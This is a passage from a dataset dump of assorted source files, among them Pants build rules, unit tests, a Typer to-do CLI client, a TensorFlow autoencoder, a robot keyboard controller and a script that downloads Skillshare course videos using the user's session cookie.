spec_path between the go_module and go_package target.\n if not resolved_go_module.import_path:\n raise ValueError(\n f\"Unable to infer import path for the `go_package` at address {request.address} \"\n f\"because the owning go_module at address {resolved_go_module.target.address} \"\n \"does not have an import path defined nor could one be inferred.\"\n )\n import_path = f\"{resolved_go_module.import_path}/\"\n if spec_subpath.startswith(\"/\"):\n import_path += spec_subpath[1:]\n else:\n import_path += spec_subpath\n\n sources = await Get(\n SourceFiles,\n SourceFilesRequest(\n [\n target.get(GoPackageSources),\n resolved_go_module.target.get(GoModuleSources),\n ]\n ),\n )\n\n result = await Get(\n ProcessResult,\n GoSdkProcess(\n input_digest=sources.snapshot.digest,\n command=(\"list\", \"-json\", f\"./{spec_subpath}\"),\n description=\"Resolve go_package metadata.\",\n working_dir=resolved_go_module.target.address.spec_path,\n ),\n )\n\n metadata = json.loads(result.stdout)\n return ResolvedGoPackage.from_metadata(\n metadata,\n import_path=import_path,\n address=request.address,\n module_address=owning_go_module_result.module_address,\n )\n\n\ndef rules():\n return collect_rules()\n","sub_path":"src/python/pants/backend/go/util_rules/go_pkg.py","file_name":"go_pkg.py","file_ext":"py","file_size_in_byte":10006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"335265661","text":"from freezegun import freeze_time\n\nfrom src.puptoo.mq import msgs\n\nplatform_metadata = {\"account\": \"000001\",\n \"org_id\": \"000001\",\n \"request_id\": \"abcd-1234\",\n \"principal\": \"123456\",\n \"service\": \"advisor\",\n \"url\": \"http://www.example.com\",\n \"b64_identity\": \"somebase64\",\n \"id\": \"1234567\"}\n\nsome_facts = {\"ip_addresses\": [\"127.0.0.1\"]}\n\n\n@freeze_time(\"2019-7-23\")\ndef test_get_time():\n assert msgs.get_time() == \"2019-07-23T00:00:00\"\n\n\n@freeze_time(\"2019-7-23\")\ndef test_tracker_msg():\n\n extra = {\"account\": \"123456\", \"org_id\":\"654321\", \"request_id\": \"abcd-1234\"}\n expected = {\"account\": \"123456\",\n \"org_id\":\"654321\",\n \"request_id\": \"abcd-1234\",\n \"payload_id\": \"abcd-1234\",\n \"service\": \"puptoo\",\n \"status\": \"received\",\n \"status_msg\": \"test_totally_worked\",\n \"date\": \"2019-07-23T00:00:00\"\n }\n\n result = msgs.tracker_message(extra, \"received\", \"test_totally_worked\")\n assert result == expected\n\n\ndef test_inventory_msg():\n\n operation = \"add_host\"\n data = {\"insights_id\": \"cdbd-2e23-cdef-1234\",\n \"fqdn\": \"something.example.com\",\n \"ip_addresses\": [\"192.168.0.1\", \"127.0.0.1\"],\n \"bios_uuid\": \"12335kjlj\"}\n metadata = {\"account\": \"123456\",\n \"org_id\": \"654321\",\n \"request_id\": \"abcd-1234\"\n }\n expected = {\"operation\": operation,\n \"data\": data,\n \"platform_metadata\": metadata}\n\n result = msgs.inv_message(operation, data, metadata)\n assert result == expected\n\n\ndef test_validation_msg():\n\n result = msgs.validation_message(platform_metadata, some_facts, \"success\")\n expected = {\"validation\": \"success\", **platform_metadata, **some_facts}\n assert result == expected\n","sub_path":"tests/test_msgs.py","file_name":"test_msgs.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"151222819","text":"#Write the applications to the HTML document\n\nfrom bs4 import BeautifulSoup\n\n\"\"\"\nBasic process for including processing on a webpage:\n1. Link in p5\n2. Insert the 'instance mode' scripts into the header\n3. Generate the divs that the scripts expect\n\"\"\"\n\n\"\"\"\nTakes an applet filename and returns the relative path from the project\ndirectory\n\"\"\"\ndef pathFromRoot( applet, attr_key ):\n return \"assets/applets/\" + applet.title + \"/\" + getattr( applet, attr_key )\n\n\"\"\"\nTakes an applet filename and returns the relative path to it from the current\ndirectory (dev)\n\"\"\"\ndef pathFromScript( applet, attr_key ):\n return \"../\" + pathFromRoot( applet, attr_key )\n\ndef makeContainer( soup, tabindex, applet ):\n \"\"\"Original\n
    \n \n \"\"\n \n

    \n Photograph title here\n Photograph description and stuff goes right here.\n

    \n
    \"\"\"\n container = soup.new_tag( \"div\", class_ = \"tab\", id = \"tab\" + str( tabindex + 1 ) )\n link = soup.new_tag( \"a\", href = \"javascript:tabber1.next()\",\n title = applet.title )\n script = soup.new_tag( \"script\", src = pathFromRoot( applet, \"script\" ) )\n div = soup.new_tag( \"div\", id = applet.title )\n div.append( script )\n link.append( div )\n container.append( link )\n paragraph = soup.new_tag( \"p\", class_ = \"info\" )\n strong = soup.new_tag( \"strong\" )\n strong.append( applet.title )\n paragraph.append( strong )\n with open( pathFromScript( applet, \"instructions\" ), 'r' ) as instructions:\n paragraph.append( instructions.read() )\n container.append( paragraph )\n return container\n\ndef makeNav( soup, tabindex, applet ):\n \"\"\"Original\n
  • \n \n \"\"\n \n
  • \n \"\"\"\n listItem = soup.new_tag( \"li\" )\n link = soup.new_tag( \"a\", href = \"#tab\" + str( tabindex + 1 ) )\n thumb = soup.new_tag( \"img\", src = pathFromRoot( applet, \"thumbnail\" ), alt =\"\" )\n link.append( thumb )\n listItem.append( link )\n return listItem\n\ndef processApplets( soup, applets, funct, parent ):\n replacements = [ funct( soup, i, a ) for i, a in enumerate( applets ) ]\n parent.clear()\n parent.extend( replacements )\n\n\"\"\"\nBeautifulSoup's 'class_' attribute is not always converted to 'class' when put\nin the document. This saves a manual search-and-replace after generation.\n\"\"\"\ndef cleanupClassAttributes( file ):\n data = file.read()\n data = data.replace( \"class_\", \"class\" )\n file.seek( 0 )\n file.write( data )\n\n#Note: will replace & regenerate all current tags in the selected areas\n#TODO: Don't replace the whole document every time, just the content areas\ndef genGallery( applets, htmlfilename ):\n #take out\n parser = None\n with open( htmlfilename, 'r' ) as htmlfile:\n parser = BeautifulSoup( htmlfile, \"html5lib\" )\n #process\n contentContainer = parser.find( class_=\"span-13\" )\n navContainer = parser.find( id=\"tab-container-1-nav\" )\n processApplets( parser, applets, makeContainer, contentContainer )\n processApplets( parser, applets, makeNav, navContainer )\n #put in\n with open( htmlfilename, 'w+' ) as htmlfile:\n htmlfile.write( parser.prettify() )\n htmlfile.seek( 0 )\n cleanupClassAttributes( htmlfile )\n","sub_path":"dev/htmlgen.py","file_name":"htmlgen.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"448668317","text":"from model.baseImports import *\n\n\nclass Ressources(object):\n \"\"\"docstring for Ressources\"\"\"\n def __init__(self, ressource):\n super(Ressources, self).__init__()\n self.photo = tk.PhotoImage(file=config.getUrlRessource(ressource)+\".gif\")\n\nclass RessourceManager(object):\n\tdef __init__(self, ressListPath):\n\t\tsuper(RessourceManager, self).__init__()\n\t\tself.ressTable = {}\n\t\tself.defaultImg = None\n\t\tdataF = open(ressListPath)\n\t\tdata = json.load(dataF)\n\t\tself.loadRessources(data[\"data\"])\n\t\tdataF.close()\n\n\tdef loadRessources(self, ressourcesFile):\n\t\tfor ress in ressourcesFile:\n\t\t\tif(ress[\"id\"] != -1):\n\t\t\t\tself.ressTable[ress[\"id\"]] = Ressources(ress[\"path\"])\n\t\t\telse:\n\t\t\t\tself.defaultImg = Ressources(ress[\"path\"])\n\n\tdef getRessource(self, id):\n\t\tif(id in self.ressTable):\n\t\t\treturn self.ressTable[id]\n\t\telse:\n\t\t\tgameLogger.log(\"errors\", \"unloaded ressource : \"+str(id))\n\t\t\treturn self.defaultImg","sub_path":"model/ressources.py","file_name":"ressources.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"37885366","text":"import typer\nimport requests, pickle\nimport os\nimport json\nfrom tabulate import tabulate \n\n\n\napp = typer.Typer()\nmy_server = 'http://localhost:5000/api'\n\nmy_session = requests.Session()\ntry:\n with open('cookie', 'rb') as f:\n my_session.cookies.update(pickle.load(f))\nexcept:\n print('No cookie')\n\n@app.command()\ndef login(email, password):\n body = {'email': email, 'password': password}\n response = my_session.post(my_server + '/user/login', json=body)\n with open('cookie', 'wb') as f:\n pickle.dump(my_session.cookies, f)\n print(response.__dict__)\n print('login')\n\n@app.command()\ndef logout():\n response = requests.post(my_server + '/user/logout')\n print(response.__dict__)\n print('logout')\n\n@app.command('list-tasks')\ndef list_task(completed: bool = False):\n if completed:\n response = my_session.get(my_server + '/tasks/completed')\n else:\n response = my_session.get(my_server + '/tasks')\n # print(response.__dict__)\n res = json.loads(response.content)\n print(tabulate([[item['name'], '+' if item['completed'] else '-'] for item in res['tasks']], headers=['Name', 'COMPLETED']))\n # print(res)\n\n@app.command('add-task')\ndef add_task(task_name):\n body = {'name': task_name}\n response = my_session.post(my_server + '/tasks/add', json=body)\n res = json.loads(response.content)['message']\n print(res)\n\n@app.command('update-task')\ndef update_task(task_name, new_task_name):\n body = {'name': new_task_name}\n response = my_session.put(my_server + f'/tasks/update/{task_name}', json=body)\n res = json.loads(response.content)['message']\n print(res)\n\n@app.command('complete-task')\ndef complete_task(task_name):\n response = my_session.put(my_server + f'/tasks/complete/{task_name}')\n res = json.loads(response.content)['message']\n print(res)\n\n@app.command('undo-task')\ndef complete_task(task_name):\n response = my_session.put(my_server + f'/tasks/undo/{task_name}')\n res = json.loads(response.content)['message']\n print(res)\n\n@app.command('delete-task')\ndef delete_task(task_name):\n response = my_session.delete(my_server + f'/tasks/delete/{task_name}')\n res = json.loads(response.content)['message']\n print(res)\n\nif __name__ == '__main__':\n app()","sub_path":"repl/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"117230414","text":"# Copyright (c) 2017 FlashX, LLC\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\nimport pytest\nimport graphene\n\nfrom lmsrvcore.tests.fixtures import fixture_working_dir_with_cached_user\nfrom lmsrvcore.api.mutations import ChunkUploadMutation\n\n\nclass MyMutation(graphene.relay.ClientIDMutation, ChunkUploadMutation):\n class Arguments:\n var = graphene.String()\n\n @classmethod\n def mutate_and_process_upload(cls, info, **kwargs):\n return \"success\"\n\n\nclass TestChunkUpload(object):\n def test_get_temp_filename(self):\n \"\"\"Test getting the filename\"\"\"\n mut = MyMutation()\n assert mut.get_temp_filename(\"asdf\", \"1234.txt\") == \"/tmp/asdf-1234.txt\"\n\n def test_validate_args(self):\n \"\"\"Test errors on bad args\"\"\"\n mut = MyMutation()\n\n args = {\n \"upload_id\": \"dsffghfdsahgf\",\n \"chunk_size\": 100,\n \"total_chunks\": 2,\n \"chunk_index\": 3,\n \"file_size_kb\": 200,\n \"filename\": \"test.txt\"\n }\n\n with pytest.raises(ValueError):\n mut.validate_args(args)\n\n args = {\n \"upload_id\": \"dsffghfdsahgf\",\n \"chunk_size\": 100,\n \"total_chunks\": 2,\n \"chunk_index\": 1,\n \"file_size_kb\": 1000,\n \"filename\": \"test.txt\"\n }\n\n with pytest.raises(ValueError):\n mut.validate_args(args)\n\n def test_no_file(self):\n \"\"\"Test error on no file\"\"\"\n class DummyContext(object):\n def __init__(self):\n self.files = {'blah': None}\n\n class DummyInfo(object):\n def __init__(self):\n self.context = DummyContext()\n\n mut = MyMutation()\n\n args = {\n \"upload_id\": \"dsffghfdsahgf\",\n \"chunk_size\": 100,\n \"total_chunks\": 2,\n \"chunk_index\": 1,\n \"file_size_kb\": 200,\n \"filename\": \"test.txt\"\n }\n\n with pytest.raises(ValueError):\n mut.mutate_and_get_payload(None, DummyInfo(), **{\"chunk_upload_params\": args})\n","sub_path":"lmsrvcore/tests/test_chunk_upload.py","file_name":"test_chunk_upload.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"587439789","text":"#!/usr/bin/env python\n\nimport io\nfrom pathlib import Path\n\nfrom setuptools import setup, find_packages\n\nimport umap\n\n\ndef is_pkg(line):\n return line and not line.startswith(('--', 'git', '#'))\n\n\nwith io.open('requirements.txt', encoding='utf-8') as reqs:\n install_requires = [l for l in reqs.read().split('\\n') if is_pkg(l)]\n\nsetup(\n name=\"umap-project\",\n version=umap.__version__,\n author=umap.__author__,\n author_email=umap.__contact__,\n description=umap.__doc__,\n keywords=\"django leaflet geodjango openstreetmap map\",\n url=umap.__homepage__,\n packages=find_packages(),\n include_package_data=True,\n platforms=[\"any\"],\n zip_safe=True,\n long_description=Path('README.md').read_text(),\n long_description_content_type='text/markdown',\n install_requires=install_requires,\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Intended Audience :: Developers\",\n \"Operating System :: OS Independent\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Programming Language :: Python :: 3.4\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n ],\n entry_points={\n 'console_scripts': ['umap=umap.bin:main'],\n },\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"438506678","text":"from collections import defaultdict\nclass Solution(object):\n def groupAnagrams(self, strs):\n \"\"\"\n :type strs: List[str]\n :rtype: List[List[str]]\n \"\"\"\n m = defaultdict(list)\n for x in strs:\n m[\"\".join(sorted(x))].append(x)\n ansList =[]\n for x in m:\n ansList.append(m[x])\n return ansList\n ","sub_path":"49.py","file_name":"49.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"405797192","text":"#!/usr/bin/env python\n#\n# Created by Samvel Khalatyan on Mar 23, 2014\n# Copyright (c) 2014 Samvel Khalatyan. All rights reserved\n#\n# Use of this source code is governed by a license that can be found in\n# the LICENSE file.\n\nimport sys\n\nfrom lib import digraph\nfrom lib import cycles\n\n\ndef usage():\n print('usage:', sys.argv[0], 'digraph.txt')\n print()\n print('find cycle in a digraph and print')\n\n\nif \"__main__\" == __name__:\n if 2 > len(sys.argv):\n usage()\n else:\n graph = digraph.load(sys.argv[1])\n cycle = cycles.Dicycle(graph)\n\n print('graph is', end=' ')\n if cycle.has_cycle():\n print('cyclic')\n print(cycle.cycle())\n else:\n print('acyclic')\n","sub_path":"ch4/python/digraph_cycle.py","file_name":"digraph_cycle.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"322976215","text":"# Created by Zander Blasingame\n# For CAMEL at Clarkson University\n# Class to contain autoencoder and methods\n\nimport tensorflow as tf\n\n\n# AutoEncoder class\nclass AutoEncoder:\n\n # Constructor for autoencoder\n def __init__(self, input_size, network_parameters, subspace_index=1):\n # network_paramerts list of dicts\n # Call function for initializing weights\n self.network = self.__init_net(input_size, network_parameters)\n self.subspace_index = subspace_index\n\n def __init_net(self, input_size, net_params):\n def create_weights(shape, name):\n return tf.Variable(tf.random_normal(shape, stddev=0.1), name=name)\n\n sizes = [entry['size'] for entry in net_params]\n sizes = [input_size] + sizes\n act_functions = [entry['act_function'] for entry in net_params]\n\n net = [{'weights': create_weights([sizes[i], sizes[i+1]],\n 'w' + str(i)),\n 'biases': create_weights([sizes[i+1]], 'b' + str(i)),\n 'act_function': act_functions[i]}\n for i in xrange(len(sizes) - 1)]\n\n return net\n\n # Method for creating network\n def create_network(self, X, keep_prob):\n def compose_func(func, a, weights, biases):\n return func(tf.matmul(a, weights) + biases)\n\n activation = X\n for i, entry in enumerate(self.network):\n activation = compose_func(entry['act_function'],\n activation,\n entry['weights'],\n entry['biases'])\n\n if i != len(self.network) - 1:\n activation = tf.nn.dropout(activation, keep_prob)\n\n return activation\n\n # Returns subspace vector\n def get_subspace_vector(self, X):\n def compose_func(func, a, weights, biases):\n return func(tf.matmul(a, weights) + biases)\n\n activation = X\n for i, entry in enumerate(self.network):\n activation = compose_func(entry['act_function'],\n activation,\n entry['weights'],\n entry['biases'])\n\n if i == self.subspace_index:\n break\n\n return activation\n\n def get_l2_loss(self):\n weights = [entry['weights'] for entry in self.network]\n weights += [entry['biases'] for entry in self.network]\n\n return reduce(lambda a, b: a + tf.nn.l2_loss(b), weights, 0)\n","sub_path":"AutoEncoder_v2.py","file_name":"AutoEncoder_v2.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"505683866","text":"import pygame\nfrom pygame.locals import *\nimport logging\nfrom ROAR.utilities_module.vehicle_models import VehicleControl\n\n\nclass JetsonKeyboardControl(object):\n def __init__(self, throttle_increment=0.05, steering_increment=0.05):\n self.logger = logging.getLogger(__name__)\n self._steering_increment = steering_increment\n self._throttle_increment = throttle_increment\n self.steering = 0.0\n self.throttle = 0.0\n self.logger.debug(\"Keyboard Control Initiated\")\n\n def parse_events(self, clock: pygame.time.Clock):\n \"\"\"\n parse a keystoke event\n Args:\n clock: pygame clock\n\n Returns:\n Tuple bool, and vehicle control\n boolean states whether quit is pressed. VehicleControl by default has throttle = 0, steering =\n \"\"\"\n events = pygame.event.get()\n key_pressed = pygame.key.get_pressed()\n for event in events:\n if event.type == pygame.QUIT or key_pressed[K_q] or key_pressed[K_ESCAPE]:\n return False, VehicleControl()\n self._parse_vehicle_keys(key_pressed)\n return True, VehicleControl(throttle=self.throttle, steering=self.steering)\n\n def _parse_vehicle_keys(self, keys):\n \"\"\"\n Parse a single key press and set the throttle & steering\n Args:\n keys: array of keys pressed. If pressed keys[PRESSED] = 1\n Returns:\n None\n \"\"\"\n if keys[K_UP] or keys[K_w]:\n self.throttle = min(self.throttle + self._throttle_increment, 1)\n\n elif keys[K_DOWN] or keys[K_s]:\n self.throttle = max(self.throttle - self._throttle_increment, -1)\n else:\n self.throttle = 0\n\n if keys[K_LEFT] or keys[K_a]:\n self.steering = max(self.steering - self._steering_increment, -1)\n\n elif keys[K_RIGHT] or keys[K_d]:\n self.steering = min(self.steering + self._steering_increment, 1)\n else:\n self.steering = 0\n\n self.throttle, self.steering = round(self.throttle, 5), round(self.steering, 5)\n","sub_path":"ROAR_Jetson/jetson_keyboard_control.py","file_name":"jetson_keyboard_control.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"387377482","text":"import requests, json, sys, re, os, re, shutil\nfrom slugify import slugify\n\nclass Skillshare(object):\n\n def __init__(\n self,\n cookie,\n downloaded_history_file_path,\n download_path=os.environ.get('FILE_PATH', './Skillshare'),\n pk='BCpkADawqM2OOcM6njnM7hf9EaK6lIFlqiXB0iWjqGWUQjU7R8965xUvIQNqdQbnDTLz0IAO7E6Ir2rIbXJtFdzrGtitoee0n1XXRliD-RH9A-svuvNW9qgo3Bh34HEZjXjG4Nml4iyz3KqF',\n brightcove_account_id=3695997568001,\n ):\n self.downloaded_history_file_path = downloaded_history_file_path\n self.cookie = cookie.strip().strip('\"')\n self.download_path = download_path\n self.pk = pk.strip()\n self.brightcove_account_id = brightcove_account_id\n self.pythonversion = 3 if sys.version_info >= (3, 0) else 2\n\n def is_unicode_string(self, string):\n if (self.pythonversion == 3 and isinstance(string, str)) or (self.pythonversion == 2 and isinstance(string, unicode)):\n return True\n\n else:\n return False\n\n def is_downloaded(self, class_id):\n downloaded_history_file = open(self.downloaded_history_file_path, \"r\") \n downloaded_list = downloaded_history_file.readlines()\n downloaded_history_file.close()\n return class_id + '\\n' in downloaded_list\n\n def update_downloaded(self, class_id):\n downloaded_history_file = open(self.downloaded_history_file_path, \"a\") \n downloaded_history_file.write(class_id + '\\n')\n downloaded_history_file.close()\n\n def download_course_skills(self, url):\n page_request = requests.get(url, allow_redirects=True)\n skill_lines = re.findall(r\"href\\=\\\"\\/search\\?query\\=(.*)\\&.*?\\\"\", page_request.content.decode('utf-8'))\n return skill_lines\n\n def download_course_by_url(self, url, target_folder):\n m = re.match('https://www.skillshare.com/classes/(.*?)/(\\\\d+)', url)\n assert m, 'Failed to parse class ID from URL'\n self.download_course_by_class_id(m.group(2), m.group(1), target_folder, url)\n\n def download_course_by_class_id(self, class_id, class_name, target_folder, url):\n is_course_downloaded = self.is_downloaded(class_id)\n if is_course_downloaded:\n print('Downloaded Already!')\n return\n course_skills = self.download_course_skills(url)\n data = self.fetch_course_data_by_class_id(class_id=class_id)\n teacher_name = None\n if 'vanity_username' in data['_embedded']['teacher']:\n teacher_name = data['_embedded']['teacher']['vanity_username']\n if not teacher_name:\n teacher_name = data['_embedded']['teacher']['full_name']\n assert teacher_name, 'Failed to read teacher name from data'\n if self.is_unicode_string(teacher_name):\n teacher_name = teacher_name.encode('ascii', 'replace')\n title = data['title']\n title = title.replace(\":\", \"_\")\n title = title.replace(\"|\", \"-\")\n title = title.replace(\"/\", \"-\")\n # Prepend class id\n title = \"(\"+class_id+\") \" + title\n\n # Append course skills\n skills_str = \"\"\n black_list_skills = ['Plugin', 'Technology', 'Web Development', 'Search Engine Optimization', 'Web', 'Forms', 'Styling', 'Home Business', 'Developer', 'Coding']\n filtered_course_skills = list(filter(lambda t: t not in black_list_skills, course_skills))\n for skill in filtered_course_skills:\n skill = skill.replace(\"/\", \"-\")\n skills_str = skills_str + \"(\"+skill+\")\"\n if len(filtered_course_skills) > 0:\n title = title + \" -- Skills\" + skills_str\n\n #print(title)\n #if self.is_unicode_string(title):\n # title = title.encode('ascii', 'replace')\n #print(title)\n base_path = os.path.abspath(os.path.join(self.download_path, title)).rstrip('/')\n target_path = '{target_folder}/{title}'.format(target_folder=target_folder, title=title)\n \n # Clean up\n if os.path.exists(base_path):\n shutil.rmtree(base_path)\n \n # Init folder\n if not os.path.exists(base_path):\n os.makedirs(base_path)\n \n for u in data['_embedded']['units']['_embedded']['units']:\n for s in u['_embedded']['sessions']['_embedded']['sessions']:\n video_id = None\n if 'video_hashed_id' in s:\n if s['video_hashed_id']:\n video_id = s['video_hashed_id'].split(':')[1]\n assert video_id, 'Failed to read video ID from data'\n s_title = s['title']\n if self.is_unicode_string(s_title):\n s_title = s_title.encode('ascii', 'replace')\n file_name = '{} - {}'.format(str(s['index'] + 1).zfill(2), slugify(s_title))\n self.download_video(fpath='{base_path}/{session}.mp4'.format(base_path=base_path,\n session=file_name),\n spath='{base_path}/{session}.vtt'.format(base_path=base_path, session=file_name),\n srtpath='{base_path}/{session}.srt'.format(base_path=base_path, session=file_name),\n video_id=video_id,\n file_name=file_name)\n print('')\n\n # move files to target folder\n if os.path.exists(target_path):\n shutil.rmtree(target_path)\n print(\"* Moving files from \" + base_path + \" to \" + target_folder)\n shutil.move(base_path, target_folder)\n self.update_downloaded(class_id)\n\n def fetch_course_data_by_class_id(self, class_id):\n res = requests.get(url=('https://api.skillshare.com/classes/{}'.format(class_id)),\n headers={'Accept':'application/vnd.skillshare.class+json;,version=0.8',\n 'User-Agent':'Skillshare/4.1.1; Android 5.1.1',\n 'Host':'api.skillshare.com',\n 'cookie':self.cookie})\n assert res.status_code == 200, 'Fetch error, code == {}'.format(res.status_code)\n return res.json()\n\n def download_video(self, fpath, spath, srtpath, video_id, file_name):\n meta_url = 'https://edge.api.brightcove.com/playback/v1/accounts/{account_id}/videos/{video_id}'.format(account_id=(self.brightcove_account_id),\n video_id=video_id)\n meta_res = requests.get(meta_url,\n headers={'Accept':'application/json;pk={}'.format(self.pk),\n 'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',\n 'Origin':'https://www.skillshare.com'})\n \n if(meta_res.status_code == 200):\n sub_dl_url = None\n dl_url = None\n\n # Video DL\n for x in meta_res.json()['sources']:\n if 'container' in x:\n if x['container'] == 'MP4' and 'src' in x:\n dl_url = x['src']\n break\n\n # Subtitle DL\n for x in meta_res.json()['text_tracks']:\n if 'srclang' in x and x['srclang'] == 'en':\n sub_dl_url=x['src']\n break\n\n if not bool(dl_url):\n print('Could not find dl_url')\n return\n\n print('* Downloading Lession ' + file_name)\n if os.path.exists(fpath):\n print('>> skipping...')\n else:\n with open(fpath, 'wb') as (f):\n response = requests.get(dl_url, allow_redirects=True, stream=True)\n total_length = response.headers.get('content-length')\n if not total_length:\n f.write(response.content)\n else:\n dl = 0\n total_length = int(total_length)\n for data in response.iter_content(chunk_size=4096):\n dl += len(data)\n f.write(data)\n done = int(50 * dl / total_length)\n sys.stdout.write('\\r[%s%s]' % ('=' * done, ' ' * (50 - done)))\n sys.stdout.flush()\n print('')\n\n if bool(sub_dl_url):\n print('* Downloading Subtitle...')\n if os.path.exists(srtpath):\n print('>> skipping...')\n else:\n with open(spath, 'wb') as (f):\n sub_response=requests.get(sub_dl_url, stream=True)\n sub_total_length=sub_response.headers.get('content-length')\n if not sub_total_length:\n f.write(sub_response.content)\n else:\n sub_dl=0\n sub_total_length=int(sub_total_length)\n for data in sub_response.iter_content(chunk_size=4096):\n sub_dl += len(data)\n f.write(data)\n sub_done=int(50 * sub_dl / sub_total_length)\n sys.stdout.write('\\r[%s%s]' %\n ('=' * sub_done, ' ' * (50 - sub_done)))\n sys.stdout.flush()\n print('')\n\n print('* Converting Subtitle...')\n with open(spath, 'r') as subtitle_file:\n subtitle_data = subtitle_file.read()\n subtitle_data = re.sub(r\"WEBVTT\\n\", \"\", subtitle_data)\n subtitle_data = re.sub(r\"X-TIMESTAMP-MAP.*\\n\", \"\", subtitle_data)\n subtitle_data = re.sub(r\"(\\d\\d):(\\d\\d):(\\d\\d)\\.(\\d+)\", r\"\\1:\\2:\\3,\\4\", subtitle_data)\n sub_lines = re.findall(r\"00.*\", subtitle_data)\n li = 1\n for l in sub_lines:\n subtitle_data = subtitle_data.replace(l, str(li) + \"\\n\" + l)\n li = li + 1\n sf = open(srtpath, \"w\")\n sf.write(subtitle_data)\n sf.close()\n os.remove(spath)\n print('Done!')\n","sub_path":"skillshare.py","file_name":"skillshare.py","file_ext":"py","file_size_in_byte":10275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"281171776","text":"# Copyright (c) 2014 ITOCHU Techno-Solutions Corporation.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nUnit Tests for rack.resourceoperator.rpcapi\n\"\"\"\n\nimport mox\nfrom oslo.config import cfg\n\nfrom rack import context\nfrom rack.resourceoperator import rpcapi as operator_rpcapi\nfrom rack import test\n\nCONF = cfg.CONF\n\n\nclass ResourceOperatorRpcAPITestCase(test.NoDBTestCase):\n\n def _test_operator_api(self, method, rpc_method, version=None,\n fanout=None, host=None, **kwargs):\n ctxt = context.RequestContext('fake_user', 'fake_project')\n\n rpcapi = operator_rpcapi.ResourceOperatorAPI()\n self.assertIsNotNone(rpcapi.client)\n self.assertEqual(\n rpcapi.client.target.topic, CONF.resourceoperator_topic)\n\n expected_retval = 'foo' if rpc_method == 'call' else None\n expected_version = version\n expected_fanout = fanout\n expected_server = host\n expected_kwargs = kwargs.copy()\n if host:\n kwargs['host'] = host\n\n self.mox.StubOutWithMock(rpcapi, 'client')\n\n rpcapi.client.can_send_version(\n mox.IsA(str)).MultipleTimes().AndReturn(True)\n\n prepare_kwargs = {}\n if expected_fanout:\n prepare_kwargs['fanout'] = True\n if expected_version:\n prepare_kwargs['version'] = expected_version\n if expected_server:\n prepare_kwargs['server'] = expected_server\n rpcapi.client.prepare(**prepare_kwargs).AndReturn(rpcapi.client)\n\n rpc_method = getattr(rpcapi.client, rpc_method)\n\n rpc_method(ctxt, method, **expected_kwargs).AndReturn('foo')\n\n self.mox.ReplayAll()\n\n rpcapi.client.can_send_version('I fool you mox')\n\n retval = getattr(rpcapi, method)(ctxt, **kwargs)\n self.assertEqual(retval, expected_retval)\n\n def test_keypair_create(self):\n self._test_operator_api('keypair_create', rpc_method='cast',\n host='fake_host', gid='fake_gid',\n keypair_id='fake_keypair_id',\n name='fake_name')\n\n def test_keypair_delete(self):\n self._test_operator_api('keypair_delete', rpc_method='cast',\n host='fake_host',\n nova_keypair_id='fake_nova_keypair_id')\n\n def test_securitygroup_create(self):\n self._test_operator_api('securitygroup_create', rpc_method='cast',\n host='fake_host', gid='fake_gid',\n securitygroup_id='fake_securitygroup_id',\n name='fake_name',\n 